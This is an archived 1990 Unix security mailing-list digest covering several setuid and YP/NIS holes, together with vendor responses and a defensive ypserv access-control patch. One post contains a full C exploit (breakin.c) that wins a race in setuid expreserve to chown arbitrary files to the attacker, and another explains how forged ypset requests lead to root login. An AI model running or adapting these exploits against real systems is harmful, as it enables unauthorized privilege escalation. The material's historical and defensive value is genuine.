The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #1 1990-06-23 (1 file, 11951 bytes)
SOURCE: http://securitydigest.org/exec/display?f=core/archive/101.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Subject: Core Security Digest V1 #1

Core Security Digest Volume 1 Issue 1

subject(s):

            WELCOME to core
            Yet Another Expreserve Bug
            YP is not secure
            ypserv problem (NEW BUGID: 1036869)
            Re: ypserv as network-wide /etc/password server? (with source fix)

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              core@uninet.cpd.com
PLEASE SEND EMERGENCY ALERTS TO:   core-emergency@uninet.cpd.com
PLEASE SEND REQUESTS TO:             core-request@uninet.cpd.com


------------------------------------------------------------------------

Date: Sat, 23 Jun 90 14:49:30 PDT
From: neil (Neil Gorsuch)
Subject: WELCOME to core

[ WELCOME TO CORE.  Digests will be coming out about once a week.
Because of the delays in getting things set up, there is enough stuff
waiting here that I am splitting it into two digests to avoid mailer
problems.  You should receive issue 2 at the same time that you
receive this.  In case my handy dandy script that adds members didn't
send the welcome message to you correctly, here it is again ...

Welcome to the core security mailing list!

THIS IS NOT THE ZARDOZ SECURITY MAILING LIST!  The core list is a
small subset of the zardoz security list.  The core list is much more
difficult to join, and the membership is limited to a small select
group of people.  The zardoz list exists for these reasons:

1. To notify system administrators and other appropriate people of
   serious security dangers BEFORE they become common knowledge.
2. Provide security enhancement information.

The core list shares those goals, and in addition is meant for the
open discussion of NEW and UN-FIXED security holes.  The members of
the core list are expected to be actively finding and FIXING new
security holes.  Any new holes that are found to be "pluggable" by the
vast majority of binary-only sites that they affect, will have only
the directions for "plugging" them forwarded to the zardoz list after
about a 2 week delay by me.  NO "COOKBOOK" DIRECTIONS for duplicating
the holes will leave the core list.  If the directions for plugging
the holes make the nature of the hole obvious, a brief description of
the hole will also be sent to the zardoz list.  After an additional 3
or 4 week delay, I will post some even more abbreviated "plugging"
directions to the news group alt.security.

I will take whatever steps I can to keep the core list from falling
into the wrong hands, but you can make my job immensely easier by not
keeping archives of the list.  One of the primary reasons that the
core list was formed is because enough copies of the zardoz list's
archives were on enough internet systems, and enough internet systems
were being broken into, that a lot of the "serious" crackers ended up
getting copies on a fairly regular basis.  I would also appreciate it
if the members of the core list would refer to it (publically, at
least) as the "holes" list or the "inner" list.  I don't want crackers
grepping mail spool directories for "core", as they have in the past
for "zardoz".  I will change things when I finally put in the internet
connection so that the word zardoz is not in any messages.  As far as
the public is concerned, the addresses for the core list are "holes"
and "holes-request".

The core list has two kinds of members.  The first recieves every
reflected posting sent to "core".  The second receives digests of
postings about once a week.  I do not edit the postings for content,
or censor postings except in very rare cases, so you won't miss
anything except the extraneous blank lines and signature lines that I
edit out of the digests.  I will also re-order the postings in the
digests so that like subjects are grouped together and discussion
threads are preserved.  Postings to "core-emergency" are sent out to
both groups immediately as a reflected posting.  The emergency posting
address is meant for subjects that warrant being seen by all list
members immediately.  Please think twice before using the
core-emergency address, I implemented it for things like this:

INTERNET VIRUS XXVII IS LOOSE, DISCONNECT SUN MODEL 17/60's!
CISCO PORT DENIAL IS BYPASSED AS FOLLOWS, PLEASE SUPPLY A FIX!
FILE /tmp/stop_pretty_please_we_surrender STOPS THE UUCP SENDMAIL VIRUS!

If you post a FIX for a time-critical situation such as a new internet
worm to core-emergency, you could be nice to the much larger zardoz
list and send a very edited version to security-emergency also.  But
please don't just Cc: it, I would like to keep the "core" addresses a
secret for as long as possible.  For the reverse case, every posting
sent to the zardoz emergency posting address will automatically go out
to every core list member.

I have left you in the zardoz list also, I assume that you would all
like to have as much information as possible.  If the noise level in
the zardoz list is too high for you, I can put you on that list in the
digests group, even if you are in the reflected group of the core
list.  I could even drop you from the zardoz list if you insist, but I
wouldn't advise it.  But I do insist that all core list members
receive the zardoz list emergency postings, and have set up the list
software that way.

Again, the relevant posting addresses for the core list are:

core            postings (and the members of this list should be able to
                remember to manually adjust their posting address, and
                not just "reply", I'm tired of adjusting things myself).
core-request    me, the administrator
core-emergency  postings will go out to all core members immediately

The core list membership is LIMITED.  After a certain point, I will
NOT add new members, unless they are a vendor representative or have
otherwise exceptional qualifications.  I will NOT have the core list
be so widely sent that it is easily intercepted by crackers.  If there
are problems, I will start dropping members, and will continue to drop
members, until the problems go away.  DO NOT forward the core list to
a "friend" on another system.  If you know someone that really needs
this information on a regular basis, ask me to add them to the core
list.  Remember, fixable holes will be sent to the zardoz list, and
unless your friend is a vendor or someone whose help in fixing new
holes would be invaluable, they don't really need to be in the core
list.  Failure to abide by this will result in immediate removal from
the list.

Here are the core list destination requirements:

1. Every destination will be to a very small group of people on the
   SAME machine or logical group of machines under one machine's control.

2. Every destination has to be on the internet, or get a direct uucp
   feed from here, or be a direct uucp connection from another system
   already receiving the list.  I want to minimize the number of
   intermediate systems that the list goes through.  If you are a uucp
   only site, and don't have a direct link set up with zardoz yet,
   contact me SOON to set up the link.

core-request@uninet.cpd.com (for internet hosts)
zardoz!uninet!core-request (for uucp hosts, since you will direct connect)
(714) 546-1100  Neil Gorsuch

- neil ]

------------------------------------------------------------------------

Date: Wed, 11 Apr 90 10:08:37 edt
From: Bob Pearson <uunet!stubby!bobp>
Subject: Yet Another Expreserve Bug

I have found a rather barbaric race condition in expreserve that allows
the setuid program to be compromised by changing the permissions of a file.
This bug exists in all expreserves up to and including Berkeley 4.3. (well
not quite).  On all System V and earlier releases this works.  Under System V
expreserve places the Ex temp file in the directory:

        /usr/preserve/$LOGNAME

and under the Berkeley releases it places them under either:

        /usr/preserve

or
        /var/preserve (SUN0S 4.X among others)

This "feature" will definitely allow security to be breached on all standard
System Vs and all Berkeley-ish systems that have the /usr/preserve directory
writable by the user (Note: SUNOS has this directory unwritable by default).

The System V bug was relatively unavoidable (though the addition of the "S" bit
to directories in SVR3.2 could close the hole) until SVR4 but the Berkeley bug
should have been fixed as soon as the fchown(2) system call was added to BSD.
Basically the "hole" is that expreserve does:

        fd = creat("/usr/preserve/Exaaa$PID, 0600);
        chown("/usr/preserve/Exaaa$PID, real_uid, real_gid);

when it should do a:

        fd = creat("/usr/preserve/Exaaa$PID, 0600);
        fchown(fd, real_uid, real_gid);

which avoids the race (it changes the permission on the inode that was
creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID).  The
previous examples are actually simplified as expreserve actually looks at the
uid and gid as stored in the /tmp/Ex$PID file and compares them to the
getuid() and getgid() return values.

The actual "race" is that a context switch may occur between the creat(2)
and chown(2) in expreserve that allows another process with write permission
to the target directory to unlink(2) the creat(2)ed file and place a hard
link to another file by that name in the target directory, which expreserve
subsequentialies chown(2)s to your uid.  This "feature" allows any file on the
same device to be chown(2)ed to you.  Though you may see support for symbolic
links, on the version of UNIX that I have tested this on, this will only change
permissions on the symlink.  I find this confusing as ELOOP is an alleged
failure condition for chown(2) implying that a symbolic link resolution.

The procedure for demonstrating this bug is to create a VALID non-zero length
/tmp/Ex$PID file and copy it to the directory where the program is located
under the name "data".  To do this edit a junk file, make some
changes and escape to a shell and check the /tmp directory for a non-zero
length Ex$PID file owned by you, copy it to the testing directory and run
the program that follows.  Note:  This program needs to be modified to run
under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been
tested under SUNOS 4.X and HPUX.  I haven't had time to modify it yet, but it
should definitely work under System V.  For performance reasons, this bug is
works best if you make a hard link to the target file in the directory that
expreserve places the editor temporary.  Less chance sleeping on an inode
(hence the chdir(2)).

========================== breakin.c ========================================
/*
 * This program takes advantage of a race condition in most version of
 * /usr/lib/expreserve.  Expreserve create(2)s a file as root in either
 * /usr/preserve or /usr/preserve/$USER and then chmod(2)s the file.
 * The Berkeley 4.3 version contains this bug as does earlier versions of
 * expreserve.  BSD could safely fchmod(2) the file avoiding the race but
 * DOES NOT.  System V implementation fchmod(2) until SVR4.0 and this bug
 * still existed in the beta release I saw.
 */

/* NOTE: This will only work if the target directory is writeable by the user */


#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#include <signal.h>

#define TRUE  1
#define FALSE 0

/* SUNOS 4.0 and SVR4 use "/var/preserve" */

#ifndef PRESERVE_DIRECTORY
#define PRESERVE_DIRECTORY "/usr/preserve"
#endif

#ifndef MAIL_DIRECTORY
#define MAIL_DIRECTORY    "/usr/mail"
#endif

#ifndef EXPRESERVE
#define EXPRESERVE "/usr/lib/expreserve"
#endif

#ifdef SYM_LINKS
extern int symlink();
#endif

extern int errno, link();
extern char *gets();

int (*LinkFunc)();

struct stat st_target, st_exfile, st_spoof;
struct passwd *pw;

/* gppid = grand parent pid, ppid = parent pid, cpid = child pid */

int ret, fd_exfile, n, gppid, ppid, cpid, i, childDied, myuid;

char *Prog, buf[BUFSIZ], *target, *exfile, *preserve_dir, *spoof, *mailfile,
     *strdup(), *GetBaseName();

void CheckIt(), ChildDied();

int   main(argc, argv)
int   argc;
char *argv[];
{

        void GetTarget();
        int GetExfile();

        umask(0);

        signal(SIGHUP, SIG_DFL);

        gppid = getpid();
        myuid = geteuid();

        printf("pid of top level parent = %d\n", gppid);
        Prog = *argv;
        preserve_dir = PRESERVE_DIRECTORY;
        close(GetExfile());

        printf("Perserve directory = %s\n", preserve_dir);
        /* get who you are */

        if ((pw = getpwuid(getuid())) == (struct passwd *) 0) {
                fprintf(stderr, "%s: can't find your passwd entry\n", Prog);
                exit(1);
        }

        GetTarget();

        if (stat(PRESERVE_DIRECTORY, &st_exfile)) {
                perror("stat");
                fprintf(stderr, "%s: Can't stat %s\n", Prog,
                         PRESERVE_DIRECTORY);
                exit(1);
        }

        /*
         * Determine if we are going to use a symlink(2) or link(2) system
         * call or if this is a cross device link and we don't have symlink().
         */

        if (st_target.st_dev != st_exfile.st_dev) {

#ifndef SYM_LINKS

                fprintf(stderr,
                        "%s: target %s and directory %s on different %s\n",
                        Prog, target, PRESERVE_DIRECTORY, "file systems");
                fprintf(stderr, "%s: Cross device links not supported\n");
                exit(1);

#else

                LinkFunc = symlink;
                printf("using symlink\n");

#endif

        }
        else { /* else we are on same device */

                LinkFunc = link;
                printf("using link\n");
        }

        fflush(stdout);
        gets(buf);

#ifdef TRUNCATE_MAIL_FILE

        /* this is here because you might get alot of mail messages */

        sprintf(buf, "%s/%s", MAIL_DIRECTORY, pw->pw_name);
        mailfile = strdup(buf);

#endif

        /* the guts start here */

        for (i = 1; ; i++ ) {

                switch (ppid = fork()) { /* begin Level I switch */

                case 0: /* tries to spoof EXPRESERVE */

                        ppid = getpid();

                CREATE_SECOND_CHILD:

                        switch (cpid = fork()) { /* begin Level II switch */

                        case 0: /* we actually exec EXPRESERVE in the grand
                                   child of the parent process */

                                cpid = getpid();
                                signal(SIGHUP, SIG_IGN);
                                close(0);
                                GetExfile();
                                sleep(2); /* give time to parent to get ready */

                                nice(5);  /* run at lower priority */
                                execl(EXPRESERVE, GetBaseName(EXPRESERVE),
                                      (char *) 0);
                                perror("exec");
                                fprintf(stderr, "DYING\007\007\n");
                                fflush(stdout);
                                kill(ppid, SIGHUP);
                                kill(gppid, SIGHUP);
                                exit(1);
                                break;

                        case -1:

                                goto CREATE_SECOND_CHILD;

                        default: /* first forked process */

#ifdef NO_USER_SUBDIRECTORY
                                sprintf(buf, "Exaaa%05d", cpid);
#else
                                sprintf(buf, "%s/Exaaa%05d", pw->pw_name, cpid);

#endif

                                spoof = strdup(buf);
                                sprintf(buf, "/tmp/Ex%05d", cpid);
                                exfile = strdup(buf);
                                childDied = 0;
#ifdef SYSV
                                sigset(SIGCHLD, ChildDied);
#else
                                signal(SIGCHLD, ChildDied);
#endif
                                while (chdir(preserve_dir)
                                        ;
                                while (unlink(spoof))
                                        ;
                                if (((LinkFunc)(target, spoof)) == 0) {
#ifdef SYSV
                                        sighold(SIGCHLD);
#else
                                        sigblock(sigmask(SIGCHLD));
#endif
                                        CheckIt();
#ifdef SYSV
                                        sigrelse(SIGCHLD);
                                        while (childDied == 0)
                                                ;
#else
                                        while (childDied == 0)
                                                sigpause(0);
#endif
                                }
                                printf("iteration %d failed\n", i);
                                if (unlink(spoof)) {
                                        printf("unlink of spoof %s failed\n",
                                                spoof);
                                }
                                if (unlink(exfile)) {
                                        printf("unlink of exfile %s failed\n",
                                                exfile);
                                }
                                if (childDied == 0)
                                        wait((int *) 0);
                                exit(0);
                                break;

                        } /* End Level II switch */

                        break;

                case -1:

                        continue;

                default: /* grand parent */

                        while ((cpid = wait((int *) 0)) != ppid)
                                ;
#ifdef TRUNCATE_MAIL_FILE
                        close(open(mailfile, O_TRUNC | O_CREAT | O_RDWR, 0600));

#endif

                } /* end Level I switch */

        } /* end forever loop */

}

void GetTarget()
{

        char tbuf[BUFSIZ];

        for ( ; ; ) {
                printf("enter full pathname of target file: ");
                gets(buf);
                if (stat(buf, &st_target) == 0) {
                        target = strdup(buf);
                        return;
                }
                perror("stat");
        }

}

int GetExfile()
{

        extern char *malloc();

        char tbuf[BUFSIZ];
        int fd;

        struct stat s;

        static int beenHere, glen;
        static char *garbage;

        /* first loop current directory is still dot */

        if (!beenHere) {

                if (stat("data", &s)) {
                        fprintf(stderr, "%s: can't stat 'data'\n", Prog);
                        exit(0);
                }
                if (s.st_size < 1) {
                        fprintf(stderr, "%s: too small\n", Prog);
                        exit(1);
                }
                glen = s.st_size;
                if ((garbage = malloc(glen)) == (char *) 0) {
                        fprintf(stderr, "%s: malloc of %d bytes failed\n",
                                Prog, glen);
                        exit(1);
                }
                if ((fd = open("data", O_RDONLY)) < 0) {
                        perror("open");
                        fprintf(stderr, "%s: failed to open 'data'\n");
                        exit(1);
                }
                read(fd, garbage, glen);
                close(fd);
                beenHere++;
                return 20;
        }

        sprintf(tbuf, "/tmp/Ex%05d", cpid);
        exfile = strdup(tbuf);

        if ((fd = open(tbuf, O_CREAT | O_RDWR, 0600)) < 0) {
                perror("create");
                fprintf(stderr, "%s: failed to create %s\n", Prog, tbuf);
                exit(1);
        }
        write(fd, garbage, glen);
        sync();
        lseek(fd, 0L, 0);
        return fd;

}

char *GetBaseName(prog)
char *prog;
{

        extern int strlen();

        register int i, first_char;
        register char *s1;

        s1 = prog;

        /* trim things like "~/bin/mail//" which are legal to namei */

        for (i = strlen(prog) - 1; i; --i)
                if (*(s1+i) == '/') {
                        *(s1+i) = '\0';
                }
                else
                        break;

        /* find first char after last '/' */

        for (i = first_char = 0; *(s1+i); i++)
                if (*(s1+i) == '/')
                        first_char = i + 1;

        return s1 + first_char;

}

#ifdef NOSTRDUP /* my old old version of HP/UX does not have strdup */

char *strdup(s1)
char *s1;
{

        extern char *malloc(), *strcpy();
        extern int strlen();

        char *new;

        if ((new = malloc(strlen(s1)+1)) == (char *) 0)
                return (char *) 0;

        return strcpy(new, s1);

}

#endif

void
CheckIt()
{

        sleep(2); /* give expreserve a time slice to chown(2) the file */

        if ((stat(spoof, &st_spoof) == 0) && (stat(target, &st_target) == 0)) {
                if ((st_spoof.st_uid == myuid) && (st_target.st_uid == myuid)) {

                        printf("successful at iteration %d\007\007\007\n", i);
                        printf("file is %s\n", spoof);
                        fflush(stdout);
                        kill(gppid, SIGHUP);
                        exit(0);
                }
        }
        printf("CheckIt failed\n");
        fflush(stdout);

}

void
ChildDied(sig)
int sig;
{

        childDied++;
        printf("EXPRESERVE done\n");
        fflush(stdout);
        unlink(exfile);
        unlink(spoof);
        wait((int *) 0);
        exit(1);

}

------------------------------------------------------------------------

Date: Fri, 13 Apr 90 14:25:21 EDT
From: Mark Moraes <uunet!cs.toronto.edu!moraes>
Subject: YP is not secure

For YP in this article, subsititute "what Sun used to call Yellow
Pages and now calls NIS":-)

In past digests, people have commented that ypserv will helpfully hand
out password files to anyone who asks.  True.  What people don't seem
to have mentioned is a far nastier pair of bugs/features/oversights in
ypbind that leave a system running YP wide open, viz:

- ypbind will happily accept ypset requests from the network to change
the ypserv for a domain.  (This is of course documented as a
recommended way to tell ypbind about ypservs on other networks, since
ypbind uses broadcasts to find out it's ypserv) So anyone can tell your
ypbind to use them as a ypserv, give it a fake passwd file, and login
as root, *IF* they know, or can guess your domainname.  (This is true
for at least the ypbind that comes with SunOS3.x; I see no evidence
that this has changed in the manual page for SunOS4.0 -- we have no
SunOS4.0 systems running YP that I could test this on, and no SunOS4.0
src) And of course, anyone who has an account on your machine can
trivially find out your domainname.  The problem could probably be
fixed by changing ypbind so it accepts a list of trusted hosts for
ypset requests, or better yet, accepts a list on startup from some
trustworthy file.  Which leads to the second problem.

- anyone on your machine can start up their own ypbind -- the old
ypbind will gracefully(!) yield to it.  If you have Sun src on your
system, or have someone capable of writing a ypbind substitute that
behaves differently, then there doesn't seem to be much one can do to
stop them replacing your ypbind; it would appear to be a feature of
Sun RPC.

I suspect it is possible to have a machine on your ethernet that
listens for YP broadcast requests and replies quickly, beating out the
real ypserv.  But that's a different kettle of fish -- you pretty much
have to trust everyone on your ethernet anyway.

Alas, an ever-increasing number of vendors seem to be shipping YP with
their systems, presenting the illusion that YP makes it simpler to
administer a network (hah -- our sysadmin tasks became MUCH simpler,
performance improved, and things became more reliable and predictable
in the presence of server crashes when we removed YP! And we got to
run the nameserver without too many contortions.  And the less said
about ypbind under load, the better...).

A sysadmin on one of the only systems to run YP on our campus, when
warned of these problems, commented

> This is a well known problem. I've already acquired two patches from
> SUN that is supposed to fix this. Neither worked.

I have not seen these problems mentioned before on this list, or any
other.  (I do remember seeing mention of a modified ypbind on
sun-spots/sun-nets/sun-managers once, but my habit of ignoring all YP
related articles there probably means I missed it) My apologies if
this is duplicate material.

------------------------------------------------------------------------

Date: Tue, 17 Apr 90 18:16:44 N
From: uunet!iis!prl
Subject: ypserv problem (NEW BUGID: 1036869)

Sun has reconsidered their position and the bug has been reopened. It has
a new bug ID: 1036869. My thanks to the people at Sun Switzerland
for their efforts to get this accepted as a `real problem'.

Swiss readers should contact Sun Switzerland, who will be able
to provide them with the fix from Richard Watterson at Purdue given to
me by Dan Trickle (source patch in my last message to this list).
Currently Sun CH has sun4 and sun3 fixes for 4.0.3 (should also work for 4.0).

I hope that this fix or one similar will become available from Sun
to others on the list soon.

Users of YP from other vendors should maybe encourage them to make
this fix available, too.

------------------------------------------------------------------------

Date: Mon, 16 Apr 90 17:34:51 N
From: uunet!iis!prl
Subject: Re: ypserv as network-wide /etc/password server? (with source fix)

Thanks to Dan Trickle at Purdue, I now have a source patch
to ypserv to fix the YP problem I described in Volume 2 Issue 11.

For those of you who don't have source, I know this is cold comfort,
so to start off, here are a summary of the partial workarounds
I know to this problem:

1)  make your YP domainname long and unrelated to your hostname.
    Something like olddomainname:ghfBHUIOheude1hbqwj76494 would
    maybe more useful than completely random. Maximum allowed length
    is 64 bytes. This is truely security through obscurity...

2)  If you access the wider Internet through a flexible router
    (Cisco or similar) switch off access to port 111, tcp and udp.
    This significantly increses the programming effort needed to
    exploit the problem. Unfortunately, ypserv is not always at the
    same port on all machines, so it's difficult to switch off
    access to ypserv reliably. This will prevent all normal SunRPC calls
    going through the bridge. This may not be what you want.

3)  The official word from Sun in response to the bug report:
        ``For now we recommend taking 2 steps:  1) do not run the YP server
        on your Internet gateway and 2) do not do IP routing from your
        Internet gateway to the rest of your machines.  This is the
        solution employed at Sun.''

Of these workarounds, 3) is the only completely reliable one,
assuming the attack comes from outside, but may
not meet most people's idea of user-friendliness.

2) and 3) will not protect you from someone who has broken in on a machine
`inside' the barrier but not in your domain, and decides to collect
password files while there.

1) combined with 2) or 3) may be better.

I have reported this bug to sun, and received the following response:

--- start: extract from bug report -----
 Bug Id: :     1035964
 Product:  sunos
 Category:  network
 Subcategory:  yp
 Release summary: 4.0.3export
 Bug/Rfe:  bug
 State:  closed
 Synopsis:  ypserv will send maps to anyone who can guess the domainame
 Keywords:  password, security, ypserv, maps, domainame
   ...
        We are addressing this in our future plans for naming services,
        we do not expect to make this change to any version of 4.X.
   ...
        Since it is not expected that this bug will be fixed in YP's lifetime,
        I am closing it out.
        Closed because:  will not fix
--- end: extract from bug report -----

I am not completely satisfied with this response and am
trying to reopen the bug report with Dan Trickle's fix.

The source patch follows.

----- Forwarded from Dan Trickle ----
     I just saw your message in the zardoz list about ypserv.  Here is
a quick fix we just implemented.  It uses a /var/yp/sercurenets file
and, if present, only responds to IP addresses in the range given.
The format of the file is one of more lines of

netmask netaddr

     Both netmask and netaddr must be dotted quads.  Ours looks like

255.255.0.0 128.10.0.0
255.255.255.0 128.211.1.0

     You could even go so far as to list individual hosts with a
netmask of 255.255.255.255, but that is probably overkill.  It logs
denied access as well, which might be helpful these days.  Of course,
if they are already on one of our local machines, it does not help.

    .... some irrelevant material deleted ...  -- prl

============================== ypserv.patch ==============================
RCS file: RCS/ypserv.c,v
retrieving revision 1.1
diff -c -r1.1 ypserv.c
*** /tmp/,RCSt1017343   Wed Apr  4 09:03:54 1990
--- ypserv.c    Tue Apr  3 13:46:50 1990
***************
*** 121,127
        pmap_unset(YPPROG, YPVERS);
        pmap_unset(YPPROG, YPOLDVERS);
        ypget_command_line_args(argc, argv);
!
        if (silent) {

                pid = fork();

--- 121,127 -----
        pmap_unset(YPPROG, YPVERS);
        pmap_unset(YPPROG, YPOLDVERS);
        ypget_command_line_args(argc, argv);
!       get_secure_nets();
        if (silent) {

                pid = fork();
===================================================================
RCS file: RCS/ypserv_map.c,v
retrieving revision 1.1
diff -c -r1.1 ypserv_map.c
*** /tmp/,RCSt1017368   Wed Apr  4 09:03:59 1990
--- ypserv_map.c        Tue Apr  3 14:51:31 1990
***************
*** 232,237
                return (TRUE);
        }
        caller = svc_getcaller(transp);
        if ((caller->sin_family == AF_INET) &&
            (ntohs(caller->sin_port)) < IPPORT_RESERVED) {
                return (TRUE);

--- 232,239 -----
                return (TRUE);
        }
        caller = svc_getcaller(transp);
+       if (!(check_secure_net(caller)))
+           return(FALSE);
        if ((caller->sin_family == AF_INET) &&
            (ntohs(caller->sin_port)) < IPPORT_RESERVED) {
                return (TRUE);
===================================================================
*** /tmp/,RCSt1017375   Thu Apr 12 10:10:04 1990
--- ypserv_net_secure.c Thu Apr  5 16:18:59 1990
***************
*** 0 ****
--- 1,99 ----
+ /*
+  * Author:
+  *    Richard Watterson
+  *    Purdue University
+  *    Department of Computer Sciences
+  *    April 3, 1990
+  */
+
+ #include <sys/types.h>
+ #include <sys/socket.h>
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
+ #include <stdio.h>
+ #include <syslog.h>
+ #define ACCFILE "/var/yp/securenets"
+ #define MAXLINE 128
+ struct seclist {
+     u_long mask;
+     u_long net;
+     struct seclist *next;
+ };
+ static struct seclist *slist ;
+ static int nofile = 0;
+ get_secure_nets()
+ {
+     FILE *fp;
+     char strung[MAXLINE],nmask[MAXLINE],net[MAXLINE];
+     unsigned long maskin, netin;
+     struct seclist *tmp1,*tmp2;
+     int line = 0;
+     if (fp = fopen(ACCFILE,"r")) {
+       tmp1 = (struct seclist *) malloc(sizeof (struct seclist));
+       slist = tmp1;
+       while (fgets(strung,MAXLINE,fp)) {
+           line++;
+           if (strung[strlen(strung) - 1] != '\n'){
+               syslog(LOG_ERR|LOG_DAEMON,
+                      "ypserv: %s line %d: too long\n",ACCFILE,line);
+               exit(1);
+           }
+           if (strung[0] == '#')
+               continue;
+           if (sscanf(strung,"%16s%16s",nmask,net) < 2) {
+               syslog(LOG_ERR|LOG_DAEMON,
+                      "ypserv: %s line %d: missing fields\n",ACCFILE,line);
+               exit(1);
+           }
+           maskin = inet_addr(nmask);
+           if (maskin == -1) {
+               syslog(LOG_ERR|LOG_DAEMON,
+                      "ypserv: %s line %d: error in netmask\n",ACCFILE,line);
+               exit(1);
+           }
+           netin = inet_addr(net);
+           if (netin == -1) {
+               syslog(LOG_ERR|LOG_DAEMON,
+                      "ypserv: %s line %d: error in address\n",ACCFILE,line);
+               exit(1);
+           }
+
+           if ((maskin & netin) != netin) {
+               syslog(LOG_ERR|LOG_DAEMON,
+                      "ypserv: %s line %d: netmask does not match network\n",
+                      ACCFILE,line);
+               exit(1);
+           }
+           tmp1->mask = maskin;
+           tmp1->net = netin;
+           tmp1->next = (struct seclist *) malloc(sizeof (struct seclist));
+           tmp2 = tmp1;
+           tmp1 = tmp1->next;
+       }
+       tmp2->next = NULL;
+
+     }
+     else {
+       syslog(LOG_INFO|LOG_DAEMON,"ypserv: no %s file\n",ACCFILE);
+       nofile = 1 ;
+     }
+ }
+
+ check_secure_net(caller)
+ struct sockaddr_in *caller;
+ {
+
+     struct seclist *tmp;
+     tmp = slist ;
+     if (nofile)
+       return(1);
+     while (tmp != NULL) {
+       if ((caller->sin_addr.s_addr & tmp->mask) == tmp->net){
+           return(1);
+       }
+       tmp = tmp->next;
+     }
+     syslog(LOG_ERR|LOG_DAEMON,"ypserv: access denied for %s\n",
+          inet_ntoa(caller->sin_addr));
+     return(0);
+ }

------------------------------------------------------------------------

        End of Core Security Digest Volume 1 Issue 1
        **********************

END OF DOCUMENT